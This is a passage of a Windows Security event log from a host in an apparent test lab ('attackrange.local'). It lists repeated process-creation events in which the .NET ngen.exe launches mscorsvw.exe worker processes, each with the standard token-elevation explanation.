token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255234 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1250 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 884 -Pipe 8a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255233 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 8a0 -Pipe 84c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255241 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x58c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8b0 -InterruptEvent 0 -NGENProcess 890 -Pipe 88c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255240 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 874 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 8ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255239 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7e8 -InterruptEvent 0 -NGENProcess 8a8 -Pipe 89c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255238 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 884 -Pipe 82c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255237 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 82c -InterruptEvent 0 -NGENProcess 284 -Pipe 868 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255247 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 8a8 -Pipe 7e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255246 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 8d0 -Pipe 8bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255245 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8b4 -InterruptEvent 0 -NGENProcess 81c -Pipe 884 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255244 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8d0 -InterruptEvent 0 -NGENProcess 8bc -Pipe 8d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255243 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf80 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 894 -InterruptEvent 0 -NGENProcess 870 -Pipe 8a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255242 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8c4 -InterruptEvent 0 -NGENProcess 81c -Pipe 8b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255254 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8f8 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 8fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255253 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8ec -InterruptEvent 0 -NGENProcess 8e0 -Pipe 904 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255252 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8c8 -InterruptEvent 0 -NGENProcess 870 -Pipe 8cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 8a8 -Pipe 8b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255250 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe00 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 874 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 890 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255249 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - 